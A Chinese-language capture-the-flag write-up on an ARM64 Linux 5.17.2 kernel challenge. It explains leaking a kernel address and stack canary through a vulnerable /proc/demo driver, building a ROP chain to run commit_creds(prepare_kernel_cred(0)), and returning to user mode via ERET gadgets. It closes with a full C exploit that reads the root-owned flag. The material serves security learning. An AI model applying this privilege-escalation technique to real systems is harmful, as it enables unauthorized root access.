CTF babyarm内核题目分析

本文从漏洞分析、ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件。此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目，目的是读取root用户的flag文件。

题目默认开启了KASLR地址随机化和PXN防护，指定CPU核心数量为一，线程为一。

使用cpio命令分离出驱动模块后放到IDA查看，只实现了read和write函数的功能，功能相当简单。read函数把内核栈内容拷贝到全局变量demo_buf，然后再把demo_buf的内容拷贝到用户态缓冲区，长度不超过0x1000。其他不重要的信息可以不用看：

write函数把用户态缓冲区内容拷贝到demo_buf，然后将demo_buf内容拷贝到内核栈中，同样长度不超过0x1000：

知道模块的基本功能之后，现在来考虑利用方式。

• 首先，题目启动脚本中没有给定nokaslr，默认开启地址随机化，需要泄露内核地址，当然还有canary。并且ARM架构下默认开启了PXN，内核无法直接执行用户态代码，需要使用ROP技术。
• 上一步泄露完成之后，可以获得kernel中的gadget地址，以此来构造ROP，执行commit_creds(prepare_kernel_cred(0))提升进程权限，返回用户态，并fork一个新的shell，就可以继承父进程的权限完成提权

第一步的泄露很简单，直接使用read函数功能就可以达到目的，代码如下：

int fd = open("/proc/demo",2);  size_t leak[0x200] = {0}; read(fd, leak, 0x1f8); for (int i = 0; i < 100; i++) { 	printf("id %d : 0x%llx\n",i,leak[i]); }

这里编译的时候需要使用交叉编译为ARM64的程序。交叉编译环境的安装方式很简单：

sudo apt-get install emdebian-archive-keyring sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu sudo apt-get install g++-8-aarch64-linux-gnu

编译exp:

aarch64-linux-gnu-gcc-8 -static exp.c -o exp

重新打包后运行exp，根据泄露的结果得知第3个值是内核代码地址，第13个值是canary

用ARM64的基础加载地址 0xffff800008000000 算出内核基址、commit_creds和prepare_kernel_cred的地址：

size_t commit_creds, prepare_kernel_cred = 0; size_t kernel_base,offset = 0;  size_t kernel_addr = leak[2]; size_t canary = leak[12];  offset = kernel_addr - 0xffff8000082376f8; kernel_base = 0xffff800008000000 + offset;  commit_creds = kernel_base + 0xa2258; prepare_kernel_cred = kernel_base + 0xa24f8;

接下来要考虑如何构造ROP链，如何返回用户态。

这里先了解一下ARM64汇编指令和x86_64指令的区别：

• x86_64指令六个参数为RDI、RSI、RDX、RCX、R8、R9，函数结束时使用LEAVE和RET平衡栈，返回值放在RAX寄存器中，RET指令会使RSP+8
• ARM64有X0～X30这些寄存器，参数一为X0寄存器，返回值同样使用X0寄存器，栈指针为SP寄存器，PC寄存器存储当前指令，使用LDP X29, X30, [SP] 这种方式给X29和X30寄存器赋值，当RET指令时将X30寄存器值给PC寄存器，但RET指令不会使SP+8，也就是说ARM64不会像X86那样频繁移动栈顶

根据以上结论，我们需要控制ARM64的执行流，就需要控制X30寄存器，并给参数寄存器X0赋值。而现在内核栈是我们可控的，那么理论上就可以控制PC指针。

首先调用prepare_kernel_cred(0)，参数为0，需要将X0赋值为0，ROPgadget工具不是很好用，直接手动找，在内核文件中找到如下gadget：

这一部分控制了很多寄存器，可以极大的方便我们后续操作。通过调试偏移写出payload如下：

	size_t gadget2 = kernel_base + 0x16950;  	leak[13] = 0x4141414141414141; 	leak[14] = 0x4141414141414141; 	leak[16] = canary; 	leak[18] = gadget2;  	leak[21] = 0x8888888888888888; 	leak[22] = prepare_kernel_cred;

调试的时候发现一个问题，因为ARM64的RET指令并不会使用栈中的数据作为返回地址，而是使用X30寄存器的值，在prepare_kernel_cred函数结束后，由于X30寄存器还是之前的值，又再次执行了prepare_kernel_cred，这显然不是想要的结果。这里先看看ARM程序是怎么开辟栈帧的：

这是在内核中随便找的函数，不用考虑这个函数做了什么，重点关注第一条指令和最后两条指令，第一条指令将X29和X30寄存器放入到栈中，最后两条指令平衡栈。如果去掉第一条指令，那么在平衡栈的时候就会将我们构造的内容给X29和X30。这里也看到ARM不像x86那样可以通过加减地址来获得不同的指令，ARM指令必须以四字节对齐为一个指令。所以在执行prepare_kernel_cred时应该地址加上四字节，执行commit_creds函数也是同理。调试修改上面的payload为如下：

	leak[13] = 0x4141414141414141; 	leak[14] = 0x4141414141414141; 	leak[16] = canary; 	leak[18] = gadget2;  	leak[19] = 0; 	leak[20] = 0; 	leak[21] = 0x8888888888888888; 	leak[22] = prepare_kernel_cred + 4; 	leak[32] = commit_creds + 4; 	leak[36] = gadget2;  	leak[37] = 0x7777777777777777; 	leak[38] = canary; 	leak[39] = 0x2222222222222222; 	leak[40] = 0x3333333333333333;

执行完commit_creds(prepare_kernel_cred(0))后，当前exp进程的cred结构体已经是root，但内核栈已经被我们破坏掉了，继续执行会导致内核崩溃重启，此时需要手动返回用户态起shell。

需要知道的是ARM64使用SVC指令进入内核态，使用ERET指令返回用户态，同x86一样，ARM在进入内核态之前会保存用户态所有寄存器状态，在返回时恢复。其中比较重要的寄存器有SP_EL0、ELR_EL1、SPSR_EL1，它们保存内容分别如下：

• SP_EL0保存用户态的栈指针
• ELR_EL1保存要返回的用户态PC指针
• SPSR_EL1保存一个值，暂不知道是何用处，但他的值是固定的0x80001000

我们手动恢复这几个寄存器，然后在调用ERET时就可以返回用户态执行函数了。而要找到恢复这些寄存器的gadget可以直接在调试器中单步跟随，找到内核何时返回用户态，然后直接使用这些gadget就行。内容如下：

   0xffff800008011fe4:	msr	sp_el0, x23    0xffff800008011fe8:	tst	x22, #0x10    0xffff800008011fec:	b.eq	0xffff800008011ff4  // b.none    0xffff800008011ff0:	nop    0xffff800008011ff4:	ldr	x0, [x28, #3432]    0xffff800008011ff8:	b	0xffff800008012024     0xffff800008012024:	msr	elr_el1, x21    0xffff800008012028:	msr	spsr_el1, x22    0xffff80000801202c:	ldp	x0, x1, [sp]    0xffff800008012030:	ldp	x2, x3, [sp, #16]    0xffff800008012034:	ldp	x4, x5, [sp, #32]    0xffff800008012038:	ldp	x6, x7, [sp, #48]    0xffff80000801203c:	ldp	x8, x9, [sp, #64]    0xffff800008012040:	ldp	x10, x11, [sp, #80]    0xffff800008012044:	ldp	x12, x13, [sp, #96]    0xffff800008012048:	ldp	x14, x15, [sp, #112]    0xffff80000801204c:	ldp	x16, x17, [sp, #128]    0xffff800008012050:	ldp	x18, x19, [sp, #144]    0xffff800008012054:	ldp	x20, x21, [sp, #160]    0xffff800008012058:	ldp	x22, x23, [sp, #176]    0xffff80000801205c:	ldp	x24, x25, [sp, #192]    0xffff800008012060:	ldp	x26, x27, [sp, #208]    0xffff800008012064:	ldp	x28, x29, [sp, #224]    0xffff800008012068:	nop    0xffff80000801206c:	nop    0xffff800008012070:	nop

观察这两段gadget，这些寄存器我们都可以控制，这就比较简单了，直接拿过来用就可以了，并且在执行完这段gadget后，会自动执行ERET指令，其实这段函数就是内核返回用户态的代码。指定上面三个关键寄存器的值，用户态栈地址可以随意指定一个，内核只做地址校验，并不会触发panic，ELR_EL1构造为用户态代码地址，最后修改payload如下：

	leak[13] = 0x4141414141414141; 	leak[14] = 0x4141414141414141; 	leak[16] = canary; 	leak[18] = gadget2;  	leak[19] = 0; 	leak[20] = 0; 	leak[21] = 0x8888888888888888; 	leak[22] = prepare_kernel_cred + 4; 	leak[32] = commit_creds + 4; 	leak[33] = 0x1111111111111111;  	leak[36] = gadget2;  	leak[37] = 0x7777777777777777; 	leak[38] = canary; 	leak[39] = 0x2222222222222222; 	leak[40] = 0x3333333333333333; 	leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790  	leak[42] = kernel_base + 0x11fe4; // x30  	leak[43] = 0x6666666666666666;    // x19 	leak[44] = 0x7777777777777777;    // x20 	leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518 	leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000 	leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790 	leak[48] = 0x2222222222222222;    // x24 	leak[49] = 0x3333333333333333;    // x25 	leak[51] = 0x4444444444444444;

完整PoC如下，最后执行system("/bin/sh")时，在clone系统调用时会失败，原因可能是因为某个ARM寄存器未还原，触发了缺页机制，会分配一个新的页，最后PC指针指向这个非法地址，无法获取shell，所以改成了ORW的方式读取flag：

#include <stdio.h> #include <stdlib.h> #include <linux/types.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/wait.h>  size_t commit_creds, prepare_kernel_cred = 0; // 0xffff8000080a2258 0xffff8000080a24f8 size_t kernel_base,offset = 0; // 0xffff800008000000 size_t gadget2 = 0;  void shell(void) { 	// int uid = getuid(); 	// printf("uid == %d\n",uid); 	// system("/bin/sh"); 	char buf[0x40] = {0}; 	int fd = open("/flag",0); 	read(fd, buf, 0x40); 	write(1, buf, 0x40); }  int main() { 	int fd = open("/proc/demo",2); 	if (fd < 0) 	{ 		puts("open error"); 		exit(-1); 	}  	size_t leak[0x200] = {0};  	read(fd, leak, 0x1f8); 	for (int i = 0; i < 36; i++) 	{ 		printf("id %d : 0x%llx\n",i,leak[i]); 	} 	size_t kernel_addr = leak[2]; 	size_t canary = leak[12]; 	printf("kerenl_addr== 0x%llx , canary == 0x%llx\n",kernel_addr,canary);  	offset = kernel_addr - 0xffff8000082376f8;  	kernel_base = 0xffff800008000000 + offset; //ffffd587d10a2258 0xffffd587d10a2258, 	commit_creds = kernel_base + 0xa2258; 	prepare_kernel_cred = kernel_base + 0xa24f8; 	gadget2 = kernel_base + 0x16950;  	printf("kerenl_base== 0x%llx ,commit_creds == 0x%llx, prepare_kernel_cred == 0x%llx\n",kernel_base,commit_creds,prepare_kernel_cred); 	printf("%p\n",leak);  	leak[13] = 0x4141414141414141; 	leak[14] = 0x4141414141414141; 	leak[16] = canary; 	leak[18] = gadget2;  	leak[19] = 0; 	leak[20] = 0; 	leak[21] = 0x8888888888888888; 	leak[22] = prepare_kernel_cred + 4; 	leak[32] = commit_creds + 4; 	leak[33] = 0x1111111111111111; 	leak[36] = gadget2;  	leak[37] = 0x7777777777777777; 	leak[38] = canary; 	leak[39] = 0x2222222222222222; 	leak[40] = 0x3333333333333333; 	leak[41] = (size_t)leak;          // x29  far_el1=0x00ffffc150b790 	leak[42] = kernel_base + 0x11fe4; // x30 	leak[43] = 0x6666666666666666;    // x19 	leak[44] = 0x7777777777777777;    // x20 	leak[45] = (size_t)shell;         // x21   elr_el1=0x41f518 	leak[46] = 0x80001000;            // x22   spsr_el1=0x80001000 	leak[47] = (size_t)leak;          // x23   sp_el0=0x00ffffc150b790 	leak[48] = 0x2222222222222222;    // x24 	leak[49] = 0x3333333333333333;    // x25 	leak[51] = 0x4444444444444444;  	 	write(fd, leak, 0x200); 	close(fd);  	return 0; };

完成读取root权限的文件flag：